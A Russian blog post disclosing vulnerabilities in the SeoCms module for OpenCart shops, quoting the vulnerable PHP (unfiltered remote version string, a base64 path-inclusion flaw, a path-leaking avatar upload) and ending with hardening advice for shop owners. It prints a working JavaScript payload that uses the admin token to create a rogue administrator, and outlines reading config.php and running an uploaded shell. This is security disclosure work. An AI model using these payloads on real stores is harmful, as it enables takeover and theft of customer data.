Opencartforum и друзья

в 8:16, , рубрики: bugs, exploit, lfi, opencartforum, php, информационная безопасность, Тестирование веб-сервисов

image

Все собаки попадают в рай, а все владельцы интернет магазинов на Opencart, рано или поздно на Opencartforum. Когда проходит эйфория от первой установки движка на хостинг и начинается суровая реальность, типичному владельцу магазина всегда начинает чего-то не хватать и он начинает сложный путь поиска квалифицированных подрядчиков и качественных дополнений для своего магазина.

Самый крупный ресурс в рунете, на котором можно найти и то и другое — это opencartforum.com, на котором на сегодня зарегистрировано более 140к пользователей. Из этих 140к регистраций, пусть половина — это живые люди с живыми магазинами, которые так или иначе пользуются шаблонами, модулями, которые можно тут же приобрести на площадке. И все эти люди, даже не догадываются, что вместе с дополнениями они приобретают себе чудесные бекдоры и уязвимости, о которых любой мамкин хакир может только мечтать.

Хотя в декларативной форме в правилах размещения дополнений в магазине форума черным по белому написано. У нас работает qadepartment, специально обученные люди проверяют дополнения на уязвимости.

И ни форум, как площадка, являющаяся посредником между автором и конечным пользователем дополнения, ни авторы дополнений, как оказалось, не несут никакой ответственности.
Как же так? А вот так! Видимо исторически сложилось.

Моделируя для себя гипотетические последствия от инцидентов, о которых пойдет речь далее, у меня становятся волосы на голове дыбом.

Вот просто представьте. Вы успешный владелец магазина, не спали пару лет ночами, писали тексты, грызли черное, белое, серое seo, боролись с пандами, минусинсками, не доедали не допивали, привлекли 100 000 покупателей, вложились в позиции. Ваши дети ходят в хороший детский сад, и тут вдруг у вас продажи упали вполовину, просто потому что ваша база со всеми контактами клиентам ушла к конкурентам. Или вдруг вы ее лишились совсем, потому что уже месяц как ваш магазин работал на чужом mysql сервере, а вы даже не заметили, смену кофигов, и все бекапы на хостинге «протухли».

Представили свои ощущения в подобной ситуации, работали работали несколько лет и в один день это все коту под хвост. Вы скажете, — так не может быть.

А вот может и очень легко. Достаточно просто купить дополнение с недекларирумой негласной защитой “защитой” от несанкционированого использования, и ваши данные очень быстро могут стать чужими!

Первый инцидент

Полгода назад производили поверхностную профилактику одного магазина, когда репорт сканера Ай-болит показал странное предупреждение на странный код в в модуле SeoCms (более 10.000 активных установок).

Начали смотреть ближе и оказалось что эта абракадабра, просто напросто выводит версию дополнения:

$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10;
if ($date_diff > 7) { $ver_content = false;
$opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda
=>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] ))));
$context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL);
try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage();
}
$this->model_setting_setting->editSetting('blog_ver',
Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); }
if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] =
$this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end');
} else { $this->data['text_new_version'] = '';
}

Ничего страшного, кроме того, что:

$this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>"

никак не фильтруется и если нечаянно вдруг с сервера клиента придет вместо версии какой нибудь скрипт вроде приведенного ниже, получить админский доступ к любому магазину, где установлен модуль — дело времени и техники.

<script>
// shell sample
// seocms the best architectural mistake forever // i got all your 10 000 shops
// i install 10 000 backdors
function​ getUrlVars​()​ {​
v​ar​vars=​​[​],​hash,​​hashes=​​n​ull;​
i​f​​(w​indow​.l​ocation.​h​ref​.i​ndexOf(​"​?"​)​​&& window​.​location.​h​ref.​​indexOf​("​&")​)​​{
hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.l​ocation​.h​ref​.i​ndexOf​(​"?"​)​​+ 1)​.​split(​​"&"​);
}​​​else​i​f​​(w​indow​.l​ocation.​h​ref​.​indexOf(​​"?"​))​​{ hashes =​
window​.​location.​h​ref.​​slice​(w​indow​.​location​.h​ref​.i​ndexOf​(​"?"​)​​+​​1​); }​
i​f​ ​(h​ashes!​=​n​ull)​ ​{​ f​or​​(v​ar​i​=​​0;​​i​<​hashes​.​length​;​i​++)​{​
hash=​​hashes[​​i]​.s​plit​(​"=")​;
vars[​h​ash​[0​]​]​​=​hash​[​1]​; }​
}​
r​eturn​vars;​ }
var​ url_vars =​ ​ getUrlVars​();
var​ token =​ ​ url_vars.​ ​token​;
var​ host ​=​ window.​ ​location​.​origin;​ var​action=​​host+​​"​/admin/index.php?route=user/user/add&token="​+​ token;​
document.​ ​addEventListener​(​"DOMContentLoaded"​,​ ​function​(​event​)​ ​{ $​.p​ost(​​action,​​{​​username​:​​"Hack123"​,​user_group_id​:​​"1"​,
firstname​:​"​Lol",​​lastname​:​"​Haha"​,​ email​:​​"Hack123@Hack123.com"​, password:​​"​1234",​​ confirm​:​​"1234"​,​ status​:​​"1"​​}​​);
});
</script>

Подробности ситуации описаны здесь. Уведомление администрации здесь.

Наверное с пятого раза, смоделировав очень наглядно этот процесс для администрации форума, удалось донести критичность ситуации.

И администрация в свою очередь официально уведомила пользователей о наличии данной уязвимости и вроде даже сделала рассылку покупателям. Но это не точно.

Оставим за кадром угрозы и увиливания автора дополнения и перенесемся на два месяца далее…

Второй инцидент

Приходит на осмотр очередной магазин, у которого возникли дикие фризы до 3-4сек на каждой странице. Начинаем препарировать и видим в папке с кешем 20к+ файлов с расширением .php. Файлы кеша с расширением php Карл, это ж неспроста!

Смотрим в структуру данных этих файлов, а там опять кусочки нашего прекрасного модуля SEOCMS.

И прекрасный метод:

protected function ajax_file()
{ $ajax_file_cached = false;
$ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"]));
if (!file_exists($ajax_file)) { $ajax_file_cached = true;
} else {
}
return $ajax_file_cached;
}

Это пример классической уязвимости — Local File Include.

Достаточно в base64 закодировать ../....../config.php и здравствуйте — ​require($ajax_file); И пожалуйста: вот вам пароли от базы, а вот системный лог ошибок, и если сильно надо даже /etc/pwd, хотя давно неактуально, ну а вдруг?

А сколько хостеров и серверов с настройками по дефолту светят в мир phpmyadmin? Половина? Больше?

Начинаем смотреть дальше и что мы находим? Чудесный код загрузки аватарок:

if (!$json) {
if (is_uploaded_file($this->request->files['file']['tmp_name']) &&
file_exists($this->request->files['file']['tmp_name'])) {
$file = basename($filename) . '.' .
md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename);
// Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file);
// To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300;
move_uploaded_file($this->request->files['file']['tmp_name'],
DIR_IMAGE . $file); $new_filename =
$avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original);
if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') {
$width = $this->data['thislist']['avatar_width']; } else {
if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') {
$width = $this->data['generallist']['avatar_width']; } else {
$width = '100'; }
}
if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') {
$height = $this->data['thislist']['avatar_height']; } else {
if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') {
$height = $this->data['generallist']['avatar_height']; } else {
$height = '100'; }
} $this->load->model('tool/image');
$json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false);
if (trim($avatar_thumb)=='') {
$json['error'] = $this->language->get('error_upload');
}
if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file);
}
}
}

Который отлично вываливается в ошибку при попытке ресайза (и показывает нам полный путь к загружаемому файлу), после загрузки какого-нибудь shell.php.png, а потом также отлично выполняется предыдущим методом.

Видео эксплуатации уязвимостей (с включенным выводом системных ошибок php):

Видео эксплуатации уязвимостей (с выключенным выводом системных ошибок php):

Анализ кода проводился на версии модуля 52 в апреле 2019 года.

Так как и автор и администрация форума были уведомлены в тех же датах, прошло достаточно времени, для того чтобы они предприняли все возможные действия по уведомлению покупателей устранению уязвимостей, мы со спокойной совестью, можем раскрыть все детали.

И вот на этом моменте, что-то случилось. На сервере разработчика стоял его же модуль. Но уязвимость на нем не работала. Она была прикрыта… И это большая странность. Очень большая!!!

А вторая странность всей этой истории заключается в том, что opencartforum в лице администрации и департамента по контролю качества дополнений не увидел ни первого ни второго инцидента, и в обоих случаях при первом уведомлении не нашел ничего критичного.

Конечно нет ничего критичного, когда у тебя конфиги в мир светят. Нет ничего критичного, когда добрая половина владельцев магазинов ни сном ни духом не в курсе, что у них происходит под капотом. Ведь им когда-то, кто-то поставил это дополнение, и без рассылки, они даже не догадываются, что весь бизнес под прямой угрозой.

И если по первому инциденту была внятная реакция от администрации, то по второму удяляются все посты с упоминанием о нем. И это все прикрывается офертой форума,​ согласно которой, про коммерческие дополнения комментарии оставлять можно как про покойников — или хорошо или никак.

Также автор утверждает что ошибки и дыры поправлены, qadepartment пропустил дополнение в продажу, однако нет, дыры не исправлены…

protected function ajax_file() {
if (!class_exists('PHP_Exceptionizer', false)) {
if (function_exists('modification')) { require_once(modification(DIR_SYSTEM .
'library/exceptionizer.php'));
} else {
require_once(DIR_SYSTEM . 'library/exceptionizer.php'); }
}
$exceptionizer = new PHP_Exceptionizer(E_ALL); try {
$ajax_file_cached = false;
$filename = preg_replace('/[^a-zA-Z0-9.-s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])),
ENT_QUOTES, 'UTF-8'));
 
$ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) {
$ajax_file_cached = true; } else {
ob_start();
require($ajax_file);
$ajax_html = ob_get_contents(); ob_end_clean();
header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax');
exit();
}
return $ajax_file_cached; } catch (E_WARNING $e) {
} }

require() никуда не делось. Немного зафильтрован ввод. Но потенциальная LFI как жила так и живет. Если немного подробнее, то да, теперь мы не можем ни загрузить не выполнить шелл. Но предположим, что мы постарались, закрыли, зацементировали исполнение любых скриптов кроме index.php, и даже на уровне конфига nginx, к которому ну никак не получить доступ. Но где-то в другом месте протекло и злой хакир получил возможность поместить произвольный файл в папку кеш. Что произойдет? Правильно — выполнить посторонний код, сгенерировав хеш в get-запрос, дело двух минут. То есть в итоге получается, вроде как и закрыто, но вроде как и не до конца.

Ну и по мелочи: как светились в языковых файлах вот такие шикарные реляции:

if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) {
$_['value_revres'] = HTTPS_SERVER;
$_['value_ctlg'] = HTTPS_CATALOG; } else {
$_['value_revres'] = HTTP_SERVER;
$_['value_ctlg'] = HTTP_CATALOG; }

Так и светятся… Хотите узнать полный путь к корню проекта. Просто найдите магазин с включенным отображением ошибок и запустите ссылку напрямую на языковой файл.

Изучать что еще может быть после обновления дополнения в мегабайте строк кода автора — нет ни ресурсов ни желания. Для этого есть специально обученные ответственные люди.

И вишенка на торте. Мы же помним, у нас коммерческое дополнение… И в коммерческом дополнении у нас скрытый текст на ресурс автора:

www.google.com/search?q=%22Powered+by+SEO+CMS%22

Интересно хоть кто-то из покупателей дополнения знает о такой “чудесной” пасхалочке?

На сегодня, дополнение как продавалось так и продается. Посты с призывами обратить внимание на ситуацию, просто удаляются. Никто из покупателей не получал уведомлений с предупреждением про второй инцидент. Возможно 20-30% пользователей дополнения и обновились, но 70% — даже если мы говорим про официальную авторскую статистику использования дополнений это 7000 магазинов (на самом деле больше — так как никто не знает достоверно, сколько еще было установлено фрилансерами копий на клиентские магазины по расширенной лицензии) находятся в огромной зоне риска.

Словами барона Мюнхаузена хочется сказать только одно: Обновляйтесь господа!

For customers

Что делать, тем кто оказался в этой тонущей подводной лодке:

  • Не оставлять мусора на фтп. Вида info.php, adminer.php и всякого остального хлама. У вас должен быть только index.php и точка.
  • Регулярно менять пароли, все пароли (ftp, админки, к базе данных). И следить, чтобы у вас не появлялись случайно лишние непонятные аккаунты.
  • Отключить вывод ошибок. Всегда, если не ведете работы — ​отключайте вывод ошибок на уровне конфигурации интерпретатора а не в настройках магазина​.
  • Да я знаю что это не очень выполнимо, но стоит следить хотя бы за актуализацией обновлений кода движка связанных с безопасностью, а в идеале регулярно обновлять движок до стабильных версий.
  • Регулярно заглядывать в логи посещений, там может быть много интересного. Отслеживайте аномалии.
  • Закрыть дополнительно паролем или ограничением по айпи admin магазина и разного рода уязвимые разделы, типа phpmyadmin. Если это шаред в котором phpmyadmin общий для всех, бежать с такого хостинга подальше!
  • Если используете sxd и подобные утилиты — сразу переименовывайте их в рандомный набор символов.
  • При использовании nginx, в конфиг виртуал-хоста стоит добавить правила, которые запрещают запускать любые скрипты php кроме index.php в корне и admin разделе сайта.
  • Не устраивайте мусорку из аккаунта. Если у вас магазин — то пусть будет магазин. Не грузите под одним аккаунтом кучу wp-блогов, жумл помоек и разного рода тестовых доменов.
  • Никогда не храните бекапы сайта или базы в корне вашего виртуалхоста.
  • Следите за нагрузкой на сервер/хостинг, старайтесь держать запас хотя бы x2 от пиковых нагрузок и если вдруг резко нагрузка ни с того ни с сего увеличилась, попытайтесь выяснить причину. Лучше перебдеть, чем недобдеть!

Автор: gezakht

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js